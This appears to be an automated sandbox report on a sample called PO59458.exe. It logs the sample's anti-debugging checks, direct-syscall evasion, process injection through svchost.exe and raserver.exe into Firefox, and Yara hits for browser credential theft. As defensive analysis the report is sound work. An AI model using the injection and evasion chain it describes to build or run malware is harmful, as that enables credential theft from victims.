Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D71763 mov eax, dword ptr fs:[00000030h]	2_2_02D71763
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D71763 mov eax, dword ptr fs:[00000030h]	2_2_02D71763
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D71763 mov eax, dword ptr fs:[00000030h]	2_2_02D71763
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D71763 mov eax, dword ptr fs:[00000030h]	2_2_02D71763
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D71763 mov eax, dword ptr fs:[00000030h]	2_2_02D71763
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D3471B mov eax, dword ptr fs:[00000030h]	2_2_02D3471B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D3471B mov eax, dword ptr fs:[00000030h]	2_2_02D3471B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DEF717 mov eax, dword ptr fs:[00000030h]	2_2_02DEF717
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D3D700 mov ecx, dword ptr fs:[00000030h]	2_2_02D3D700
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DF970B mov eax, dword ptr fs:[00000030h]	2_2_02DF970B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DF970B mov eax, dword ptr fs:[00000030h]	2_2_02DF970B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2B705 mov eax, dword ptr fs:[00000030h]	2_2_02D2B705
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2B705 mov eax, dword ptr fs:[00000030h]	2_2_02D2B705
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2B705 mov eax, dword ptr fs:[00000030h]	2_2_02D2B705
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2B705 mov eax, dword ptr fs:[00000030h]	2_2_02D2B705
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5270D mov eax, dword ptr fs:[00000030h]	2_2_02D5270D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5270D mov eax, dword ptr fs:[00000030h]	2_2_02D5270D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5270D mov eax, dword ptr fs:[00000030h]	2_2_02D5270D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D59723 mov eax, dword ptr fs:[00000030h]	2_2_02D59723
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D544D1 mov eax, dword ptr fs:[00000030h]	2_2_02D544D1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D544D1 mov eax, dword ptr fs:[00000030h]	2_2_02D544D1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5F4D0 mov eax, dword ptr fs:[00000030h]	2_2_02D5F4D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5F4D0 mov eax, dword ptr fs:[00000030h]	2_2_02D5F4D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5F4D0 mov eax, dword ptr fs:[00000030h]	2_2_02D5F4D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5F4D0 mov eax, dword ptr fs:[00000030h]	2_2_02D5F4D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5F4D0 mov eax, dword ptr fs:[00000030h]	2_2_02D5F4D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5F4D0 mov eax, dword ptr fs:[00000030h]	2_2_02D5F4D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5F4D0 mov eax, dword ptr fs:[00000030h]	2_2_02D5F4D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5F4D0 mov eax, dword ptr fs:[00000030h]	2_2_02D5F4D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5F4D0 mov eax, dword ptr fs:[00000030h]	2_2_02D5F4D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D514C9 mov eax, dword ptr fs:[00000030h]	2_2_02D514C9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D514C9 mov eax, dword ptr fs:[00000030h]	2_2_02D514C9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D514C9 mov eax, dword ptr fs:[00000030h]	2_2_02D514C9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D514C9 mov eax, dword ptr fs:[00000030h]	2_2_02D514C9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D514C9 mov eax, dword ptr fs:[00000030h]	2_2_02D514C9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DEF4FD mov eax, dword ptr fs:[00000030h]	2_2_02DEF4FD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D364F0 mov eax, dword ptr fs:[00000030h]	2_2_02D364F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6A4F0 mov eax, dword ptr fs:[00000030h]	2_2_02D6A4F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6A4F0 mov eax, dword ptr fs:[00000030h]	2_2_02D6A4F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D594FA mov eax, dword ptr fs:[00000030h]	2_2_02D594FA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D654E0 mov eax, dword ptr fs:[00000030h]	2_2_02D654E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6E4EF mov eax, dword ptr fs:[00000030h]	2_2_02D6E4EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6E4EF mov eax, dword ptr fs:[00000030h]	2_2_02D6E4EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6B490 mov eax, dword ptr fs:[00000030h]	2_2_02D6B490
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6B490 mov eax, dword ptr fs:[00000030h]	2_2_02D6B490
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DBC490 mov eax, dword ptr fs:[00000030h]	2_2_02DBC490
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D30485 mov ecx, dword ptr fs:[00000030h]	2_2_02D30485
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6648A mov eax, dword ptr fs:[00000030h]	2_2_02D6648A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6648A mov eax, dword ptr fs:[00000030h]	2_2_02D6648A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6648A mov eax, dword ptr fs:[00000030h]	2_2_02D6648A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6E4BC mov eax, dword ptr fs:[00000030h]	2_2_02D6E4BC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D324A2 mov eax, dword ptr fs:[00000030h]	2_2_02D324A2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D324A2 mov ecx, dword ptr fs:[00000030h]	2_2_02D324A2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DBD4A0 mov ecx, dword ptr fs:[00000030h]	2_2_02DBD4A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DBD4A0 mov eax, dword ptr fs:[00000030h]	2_2_02DBD4A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DBD4A0 mov eax, dword ptr fs:[00000030h]	2_2_02DBD4A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D644A8 mov eax, dword ptr fs:[00000030h]	2_2_02D644A8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6D450 mov eax, dword ptr fs:[00000030h]	2_2_02D6D450
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6D450 mov eax, dword ptr fs:[00000030h]	2_2_02D6D450
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D3D454 mov eax, dword ptr fs:[00000030h]	2_2_02D3D454
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D3D454 mov eax, dword ptr fs:[00000030h]	2_2_02D3D454
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D3D454 mov eax, dword ptr fs:[00000030h]	2_2_02D3D454
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D3D454 mov eax, dword ptr fs:[00000030h]	2_2_02D3D454
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D3D454 mov eax, dword ptr fs:[00000030h]	2_2_02D3D454
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D3D454 mov eax, dword ptr fs:[00000030h]	2_2_02D3D454
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5E45E mov eax, dword ptr fs:[00000030h]	2_2_02D5E45E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5E45E mov eax, dword ptr fs:[00000030h]	2_2_02D5E45E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5E45E mov eax, dword ptr fs:[00000030h]	2_2_02D5E45E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5E45E mov eax, dword ptr fs:[00000030h]	2_2_02D5E45E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5E45E mov eax, dword ptr fs:[00000030h]	2_2_02D5E45E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D40445 mov eax, dword ptr fs:[00000030h]	2_2_02D40445
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D40445 mov eax, dword ptr fs:[00000030h]	2_2_02D40445
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D40445 mov eax, dword ptr fs:[00000030h]	2_2_02D40445
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D40445 mov eax, dword ptr fs:[00000030h]	2_2_02D40445
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D40445 mov eax, dword ptr fs:[00000030h]	2_2_02D40445
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D40445 mov eax, dword ptr fs:[00000030h]	2_2_02D40445
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D38470 mov eax, dword ptr fs:[00000030h]	2_2_02D38470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D38470 mov eax, dword ptr fs:[00000030h]	2_2_02D38470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DEF478 mov eax, dword ptr fs:[00000030h]	2_2_02DEF478
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DFA464 mov eax, dword ptr fs:[00000030h]	2_2_02DFA464
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DEF409 mov eax, dword ptr fs:[00000030h]	2_2_02DEF409
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DC6400 mov eax, dword ptr fs:[00000030h]	2_2_02DC6400
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DC6400 mov eax, dword ptr fs:[00000030h]	2_2_02DC6400
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2640D mov eax, dword ptr fs:[00000030h]	2_2_02D2640D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2B420 mov eax, dword ptr fs:[00000030h]	2_2_02D2B420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB9429 mov eax, dword ptr fs:[00000030h]	2_2_02DB9429
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D67425 mov eax, dword ptr fs:[00000030h]	2_2_02D67425
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D67425 mov ecx, dword ptr fs:[00000030h]	2_2_02D67425
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DBF42F mov eax, dword ptr fs:[00000030h]	2_2_02DBF42F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DBF42F mov eax, dword ptr fs:[00000030h]	2_2_02DBF42F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DBF42F mov eax, dword ptr fs:[00000030h]	2_2_02DBF42F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DBF42F mov eax, dword ptr fs:[00000030h]	2_2_02DBF42F

Source: C:\Users\user\Desktop\PO59458.exe

Code function: 0_2_00426DA1 CreateFileW,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapFree,SetEndOfFile,GetLastError,

0_2_00426DA1

Source: C:\Users\user\Desktop\PO59458.exe	Code function: 0_2_0042202E SetUnhandledExceptionFilter,	0_2_0042202E
Source: C:\Users\user\Desktop\PO59458.exe	Code function: 0_2_004230F5 SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_004230F5
Source: C:\Users\user\Desktop\PO59458.exe	Code function: 0_2_00417D93 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00417D93
Source: C:\Users\user\Desktop\PO59458.exe	Code function: 0_2_00421FA7 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00421FA7

HIPS / PFW / Operating System Protection Evasion

Source: C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe	NtOpenFile: Direct from: 0x770E2CEC	Jump to behavior
Source: C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe	NtAllocateVirtualMemory: Direct from: 0x770E3BBC	Jump to behavior
Source: C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe	NtQueryInformationToken: Direct from: 0x770E2BCC	Jump to behavior
Source: C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe	NtReadVirtualMemory: Direct from: 0x770E2DAC	Jump to behavior
Source: C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe	NtSetInformationThread: Direct from: 0x770D6319	Jump to behavior
Source: C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe	NtWriteVirtualMemory: Direct from: 0x770E2D5C	Jump to behavior
Source: C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe	NtMapViewOfSection: Direct from: 0x770E2C3C	Jump to behavior
Source: C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe	NtAllocateVirtualMemory: Direct from: 0x770E2B1C	Jump to behavior
Source: C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe	NtResumeThread: Direct from: 0x770E35CC	Jump to behavior
Source: C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe	NtSetInformationProcess: Direct from: 0x770E2B7C	Jump to behavior
Source: C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe	NtNotifyChangeKey: Direct from: 0x770E3B4C	Jump to behavior
Source: C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe	NtReadFile: Direct from: 0x770E29FC	Jump to behavior
Source: C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe	NtQuerySystemInformation: Direct from: 0x770E2D1C	Jump to behavior
Source: C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe	NtOpenKeyEx: Direct from: 0x770E2ABC	Jump to behavior
Source: C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe	NtQueryInformationProcess: Direct from: 0x770E2B46	Jump to behavior
Source: C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe	NtResumeThread: Direct from: 0x770E2EDC	Jump to behavior
Source: C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe	NtDelayExecution: Direct from: 0x770E2CFC	Jump to behavior
Source: C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe	NtAllocateVirtualMemory: Direct from: 0x770E480C	Jump to behavior
Source: C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe	NtClose: Direct from: 0x770E2A8C
Source: C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe	NtCreateUserProcess: Direct from: 0x770E363C	Jump to behavior
Source: C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe	NtProtectVirtualMemory: Direct from: 0x770E2EBC	Jump to behavior
Source: C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe	NtWriteVirtualMemory: Direct from: 0x770E482C	Jump to behavior
Source: C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe	NtQuerySystemInformation: Direct from: 0x770E47EC	Jump to behavior
Source: C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe	NtQueryVolumeInformationFile: Direct from: 0x770E2E4C	Jump to behavior
Source: C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe	NtDeviceIoControlFile: Direct from: 0x770E2A0C	Jump to behavior
Source: C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe	NtCreateKey: Direct from: 0x770E2B8C	Jump to behavior
Source: C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe	NtSetInformationThread: Direct from: 0x770E2A6C	Jump to behavior
Source: C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe	NtQueryAttributesFile: Direct from: 0x770E2D8C	Jump to behavior
Source: C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe	NtProtectVirtualMemory: Direct from: 0x770D7A4E	Jump to behavior
Source: C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe	NtCreateFile: Direct from: 0x770E2F0C	Jump to behavior
Source: C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe	NtAllocateVirtualMemory: Direct from: 0x770E2B0C	Jump to behavior
Source: C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe	NtOpenSection: Direct from: 0x770E2D2C	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\PO59458.exe	Section loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Windows\SysWOW64\raserver.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe	Section loaded: NULL target: C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe	Section loaded: NULL target: C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\raserver.exe

Thread register set: target process: 4896

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\raserver.exe

Thread APC queued: target process: C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe

Writes to foreign memory regions

Source: C:\Users\user\Desktop\PO59458.exe

Memory written: C:\Windows\SysWOW64\svchost.exe base: 23B6008

Source: C:\Users\user\Desktop\PO59458.exe

Code function: 0_2_0043916A LogonUserW,

0_2_0043916A

Source: C:\Users\user\Desktop\PO59458.exe

0_2_0040D6D0

Source: C:\Users\user\Desktop\PO59458.exe

Code function: 0_2_004375B0 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,

0_2_004375B0

Source: C:\Users\user\Desktop\PO59458.exe

Code function: 0_2_00436431 mouse_event,mouse_event,

0_2_00436431

Source: C:\Users\user\Desktop\PO59458.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\PO59458.exe"	Jump to behavior
Source: C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe	Process created: C:\Windows\SysWOW64\raserver.exe "C:\Windows\SysWOW64\raserver.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\PO59458.exe

Code function: 0_2_00445DD3 GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

0_2_00445DD3

Source: PO59458.exe, mLKlRmqOwZ.exe, 00000003.00000002.20108613392.0000000001570000.00000002.00000001.00040000.00000000.sdmp, mLKlRmqOwZ.exe, 00000003.00000000.15437384254.0000000001570000.00000002.00000001.00040000.00000000.sdmp, mLKlRmqOwZ.exe, 00000005.00000002.20109591156.00000000016F0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: mLKlRmqOwZ.exe, 00000003.00000002.20108613392.0000000001570000.00000002.00000001.00040000.00000000.sdmp, mLKlRmqOwZ.exe, 00000003.00000000.15437384254.0000000001570000.00000002.00000001.00040000.00000000.sdmp, mLKlRmqOwZ.exe, 00000005.00000002.20109591156.00000000016F0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: mLKlRmqOwZ.exe, 00000003.00000002.20108613392.0000000001570000.00000002.00000001.00040000.00000000.sdmp, mLKlRmqOwZ.exe, 00000003.00000000.15437384254.0000000001570000.00000002.00000001.00040000.00000000.sdmp, mLKlRmqOwZ.exe, 00000005.00000002.20109591156.00000000016F0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: ZProgram Manager
Source: PO59458.exe	Binary or memory string: @3PDASCRWINUPRWINDOWNLWINUPLWINDOWNSHIFTUPSHIFTDOWNALTUPALTDOWNCTRLUPCTRLDOWNMOUSE_XBUTTON2MOUSE_XBUTTON1MOUSE_MBUTTONMOUSE_RBUTTONMOUSE_LBUTTONLAUNCH_APP2LAUNCH_APP1LAUNCH_MEDIALAUNCH_MAILMEDIA_PLAY_PAUSEMEDIA_STOPMEDIA_PREVMEDIA_NEXTVOLUME_UPVOLUME_DOWNVOLUME_MUTEBROWSER_HOMEBROWSER_FAVORTIESBROWSER_SEARCHBROWSER_STOPBROWSER_REFRESHBROWSER_FORWARDBROWSER_BACKNUMPADENTERSLEEPRSHIFTLSHIFTRALTLALTRCTRLLCTRLAPPSKEYNUMPADDIVNUMPADDOTNUMPADSUBNUMPADADDNUMPADMULTNUMPAD9NUMPAD8NUMPAD7NUMPAD6NUMPAD5NUMPAD4NUMPAD3NUMPAD2NUMPAD1NUMPAD0CAPSLOCKPAUSEBREAKNUMLOCKSCROLLLOCKRWINLWINPRINTSCREENUPTABSPACERIGHTPGUPPGDNLEFTINSERTINSHOMEF12F11F10F9F8F7F6F5F4F3F2F1ESCAPEESCENTERENDDOWNDELETEDELBSBACKSPACEALTONOFF0%d%dShell_TrayWndExitScript Pausedblankinfoquestionstopwarning
Source: mLKlRmqOwZ.exe, 00000003.00000002.20108613392.0000000001570000.00000002.00000001.00040000.00000000.sdmp, mLKlRmqOwZ.exe, 00000003.00000000.15437384254.0000000001570000.00000002.00000001.00040000.00000000.sdmp, mLKlRmqOwZ.exe, 00000005.00000002.20109591156.00000000016F0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\PO59458.exe

Code function: 0_2_00410D10 cpuid

0_2_00410D10

Source: C:\Users\user\Desktop\PO59458.exe

Code function: 0_2_004223BC GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

0_2_004223BC

Source: C:\Users\user\Desktop\PO59458.exe

Code function: 0_2_004711D2 GetUserNameW,

0_2_004711D2

Source: C:\Users\user\Desktop\PO59458.exe

Code function: 0_2_0042039F GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,WideCharToMultiByte,

0_2_0042039F

Source: C:\Users\user\Desktop\PO59458.exe

Code function: 0_2_0040E470 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_0040E470

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: Yara match	File source: 2.2.svchost.exe.2150000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.2150000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.20109283800.0000000004870000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.15516344646.00000000030A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.15514625975.0000000002150000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
